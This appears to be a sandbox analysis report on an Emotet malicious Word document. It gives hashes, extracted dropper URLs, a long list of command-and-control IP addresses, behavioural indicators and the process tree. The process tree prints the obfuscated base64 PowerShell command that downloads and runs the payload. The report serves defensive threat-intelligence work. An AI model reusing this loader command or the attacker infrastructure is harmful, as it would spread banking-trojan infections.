emotet | d81340f16d042d9f06ed99f0585fffe5436b4ec32250a46d924e7036f2cb8202

Analysis

max time kernel
135s
max time network
145s
platform
windows10_x64
resource
win10
submitted
03/09/2020, 18:13

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General

Target
emotet_e2_d81340f16d042d9f06ed99f0585fffe5436b4ec32250a46d924e7036f2cb8202_2020-09-03__181135._doc.doc
Size 187KB
Sample200903-e1rqr2jtln
SHA256 d81340f16d042d9f06ed99f0585fffe5436b4ec32250a46d924e7036f2cb8202
MD5 3d3b4e3dee5785c8b28e6c68a814e802
SHA1 43bb68cb70da2fcd6e3e49c65214caf527c6c880
SHA512 cc0b20293ce4e609bf0a45816b9bd4e52de72569a8e521f342146a2137bf81b67604fdd5bdb3dd49f1d50e6f996efeb4fc20dd8dc9990dd227406b69e6506b2b
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://dvers.me/cgi-bin/s/
exe.dropper
http://fabregat.eu/images/q/
exe.dropper
http://ezola.fr/Accessoires/IKh/
exe.dropper
http://finewines.com.sg/wset-2-registration/6bsizM/
exe.dropper
http://fernsehservice-stara.de/cgi-bin/x/
exe.dropper
http://familienbande-ley.de/cgi-bin/tKX/
exe.dropper
http://ketisch.de/adina/G/

Extracted

Family

emotet

140.186.212.146:80
85.214.28.226:8080
142.44.137.67:443
162.241.242.173:8080
95.213.236.64:8080
176.111.60.55:8080
85.152.162.105:80
67.205.85.243:8080
173.81.218.65:80
5.196.74.210:8080
190.160.53.126:80
24.43.99.75:80
169.239.182.217:8080
47.144.21.12:443
89.205.113.80:80
112.185.64.233:80
216.208.76.186:80
121.124.124.40:7080
37.187.72.193:8080
87.106.136.232:8080
46.105.131.79:8080
137.59.187.107:8080
37.70.8.161:80
120.150.60.189:80
79.98.24.39:8080
200.114.213.233:8080
62.30.7.67:443
139.162.108.71:8080
189.212.199.126:443
74.120.55.163:80
85.242.155.127:80
187.161.206.24:80
203.153.216.189:7080
61.19.246.238:443
185.94.252.104:443
97.82.79.83:80
104.131.11.150:443
139.99.158.11:443
74.109.108.202:80
219.74.18.66:443
209.141.54.221:8080
194.187.133.160:443
107.5.122.110:80
98.109.204.230:80
94.23.237.171:443
94.200.114.161:80
37.139.21.175:8080
95.179.229.244:8080
68.188.112.97:80
152.168.248.128:443
188.219.31.12:80
24.137.76.62:80
139.59.60.244:8080
93.147.212.206:80
70.121.172.89:80
62.75.141.82:80
137.119.36.33:80
200.41.121.90:80
174.102.48.180:443
74.208.45.104:8080
157.245.99.39:8080
104.131.44.150:8080
172.91.208.86:80
109.74.5.95:8080
103.86.49.11:8080
41.60.200.34:80
1.221.254.82:80
203.117.253.142:80
79.137.83.50:443
91.211.88.52:7080
83.169.36.251:8080
174.45.13.118:80
85.105.205.77:8080
68.171.118.7:80
168.235.67.138:7080
139.130.242.43:80
87.106.139.101:8080
190.55.181.54:443
173.62.217.22:443
84.39.182.7:80
85.66.181.138:80
110.145.77.103:80
113.160.130.116:8443
47.146.117.214:80
5.39.91.110:7080
78.24.219.147:8080
174.137.65.18:80
75.139.38.211:80
180.92.239.110:8080
24.179.13.119:80
201.173.217.124:443
104.236.246.93:8080
153.232.188.106:80
50.81.3.113:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2516	1512	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	2516	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3464	Mobwuo6.exe
3652	WcnApi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WpPortingLibrary\WcnApi.exe	Mobwuo6.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 7ce6d05f1d82d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3832	WINWORD.EXE
3832	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2516	powershell.exe
2516	powershell.exe
2516	powershell.exe
3652	WcnApi.exe
3652	WcnApi.exe
3652	WcnApi.exe
3652	WcnApi.exe
3652	WcnApi.exe
3652	WcnApi.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	396	svchost.exe
Token: SeCreatePagefilePrivilege	396	svchost.exe
Token: SeDebugPrivilege	2516	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3464	Mobwuo6.exe
3652	WcnApi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 3464	2516	powershell.exe	78
PID 2516 wrote to memory of 3464	2516	powershell.exe	78
PID 2516 wrote to memory of 3464	2516	powershell.exe	78
PID 3464 wrote to memory of 3652	3464	Mobwuo6.exe	80
PID 3464 wrote to memory of 3652	3464	Mobwuo6.exe	80
PID 3464 wrote to memory of 3652	3464	Mobwuo6.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d81340f16d042d9f06ed99f0585fffe5436b4ec32250a46d924e7036f2cb8202_2020-09-03__181135._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAEwAZQBcAEEAVQBRAGkAZgBGADAAXABNAE8AZwBqAE4AcgA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBVAGAAUgBJAHQAeQBQAGAAUgBvAHQAYABvAEMAbwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEQAcwAwAHkAcAB4AHIAIAA9ACAAKAAoACcATQAnACsAJwBvAGIAJwApACsAJwB3ACcAKwAoACcAdQBvACcAKwAnADYAJwApACkAOwAkAEcAcwAyADkAXwBrAHMAPQAoACcAUgByACcAKwAoACcAbQB3AHoAJwArACcAOQA3ACcAKQApADsAJABaAGgANwBpAGwAZwB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQwBRACcAKwAnADkAQQB1AHEAJwArACcAaQAnACkAKwAnAGYAJwArACgAJwBmADAAQwAnACsAJwBRACcAKQArACcAOQBNACcAKwAoACcAbwAnACsAJwBnAGoAJwApACsAKAAnAG4AcgAnACsAJwA1ACcAKQArACgAJwBDAFEAJwArACcAOQAnACkAKQAgAC0AQwBSAGUAcABMAGEAQwBlACAAIAAoACcAQwBRACcAKwAnADkAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAEQAcwAwAHkAcAB4AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKADgAOAB5AGsAYwBfAD0AKAAnAFkAJwArACcAMwAzACcAKwAoACcAMAAnACsAJwBwAGkAOQAnACkAKQA7ACQATgA5ADMAOQAyAHMAaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAEwAaQBFAG4AVAA7ACQAUwA3AG0AYQBuAG4AZwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AZAAnACsAKAAnAHYAJwArACcAZQByAHMAJwApACsAJwAuACcAKwAoACcAbQBlAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAvAHMALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBmAGEAJwArACcAYgByAGUAZwAnACsAJwBhAHQALgBlACcAKQArACgAJwB1AC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKQArACgAJwBzAC8AJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AZQB6ACcAKQArACgAJwBvAGwAYQAnACsAJwAuACcAKQArACcAZgAnACsAJwByAC8AJwArACcAQQAnACsAKAAnAGMAYwAnACsAJwBlAHMAJwArACcAcwBvAGkAJwApACsAJwByAGUAJwArACgAJwBzAC8AJwArACcASQAnACkAKwAoACcASwBoACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBmACcAKQArACcAaQAnACsAKAAnAG4AZQAnACsAJwB3AGkAJwApACsAJwBuAGUAJwArACcAcwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgBzACcAKwAnAGcAJwApACsAJwAvACcAKwAnAHcAcwAnACsAKAAnAGUAdAAnACsAJwAtADIALQByAGUAZwBpACcAKwAnAHMAJwArACcAdAByACcAKQArACcAYQB0ACcAKwAoACcAaQBvAG4ALwA2AGIAcwBpACcAKwAnAHoAJwArACcATQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAZQAnACsAJwByACcAKQArACcAbgBzACcAKwAoACcAZQBoAHMAZQAnACsAJwByAHYAaQBjACcAKwAnAGUALQAnACsAJwBzAHQAJwArACcAYQByAGEALgAnACkAKwAnAGQAJwArACcAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAoACcALQBiAGkAbgAnACsAJwAvAHgAJwArACcALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AZgBhAG0AJwApACsAJwBpACcAKwAoACcAbABpACcAKwAnAGUAJwApACsAJwBuACcAKwAoACcAYgBhAG4AZABlAC0AJwArACcAbAAnACkAKwAnAGUAeQAnACsAKAAnAC4AZABlAC8AYwAnACsAJwBnACcAKwAnAGkALQBiAGkAbgAvACcAKwAnAHQASwBYAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGsAZQB0ACcAKwAnAGkAJwApACsAJwBzACcAKwAoACcAYwBoAC4AZABlAC8AYQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAG4AYQAvAEcAJwArACcALwAnACkAKQAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGUAawBlAGoAaQB1AD0AKAAnAFoAJwArACgAJwBoACcAKwAnAGgAOQAnACkAKwAoACcAZgAnACsAJwA1ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADAAOABiAGYAYQB3ACAAaQBuACAAJABTADcAbQBhAG4AbgBnACkAewB0AHIAeQB7ACQATgA5ADMAOQAyAHMAaQAuACIAZABvAHcATgBMAGAATwBBAEQARgBgAEkAbABFACIAKAAkAEEAMAA4AGIAZgBhAHcALAAgACQAWgBoADcAaQBsAGcAdAApADsAJABOAGEAaQB4AHIAZwB0AD0AKAAnAE4AMgAnACsAJwBfACcAKwAoACcAaQBzAHUAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGgANwBpAGwAZwB0ACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADQANwA5ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAaAA3AGkAbABnAHQAKQA7ACQASwB5AHUAeAAzADIAZgA9ACgAKAAnAFYAegBjACcAKwAnADYAJwApACsAKAAnAGMANQAnACsAJwBlACcAKQApADsAYgByAGUAYQBrADsAJABGAHAAbwBhAGsAcQA0AD0AKAAoACcAQwB3ACcAKwAnAHQAJwApACsAJwBqACcAKwAoACcAbQAnACsAJwB1AG8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAbgAyAGcAZgA5ADMAPQAoACgAJwBCACcAKwAnAGoAeQAnACkAKwAnAHIAJwArACgAJwByACcAKwAnAGwAcQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe
  "C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\SysWOW64\WpPortingLibrary\WcnApi.exe
    "C:\Windows\SysWOW64\WpPortingLibrary\WcnApi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2516-10-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

Download

memory/2516-11-0x000001A2BEDB0000-0x000001A2BEDB1000-memory.dmp

Download

memory/2516-12-0x000001A2BF0A0000-0x000001A2BF0A1000-memory.dmp

Download

memory/3464-16-0x00000000006E0000-0x00000000006EC000-memory.dmp

Download

memory/3652-19-0x00000000005A0000-0x00000000005AC000-memory.dmp

Download

memory/3832-0-0x0000018614E30000-0x00000186154F6000-memory.dmp

Download

memory/3832-6-0x000001861FD15000-0x000001861FD16000-memory.dmp

Download

memory/3832-5-0x000001861D76C000-0x000001861D771000-memory.dmp

Download

memory/3832-7-0x000001861FD16000-0x000001861FD18000-memory.dmp

Download

memory/3832-3-0x000001861FBB6000-0x000001861FBBB000-memory.dmp

Download

memory/3832-2-0x000001861FBBB000-0x000001861FBBE000-memory.dmp

Download

memory/3832-4-0x000001861FBBB000-0x000001861FBBE000-memory.dmp

Download

memory/3832-9-0x000001861FD18000-0x000001861FD1D000-memory.dmp

Download

memory/3832-1-0x000001861FBBB000-0x000001861FBBE000-memory.dmp

Download

memory/3832-8-0x000001861FD18000-0x000001861FD1D000-memory.dmp

Download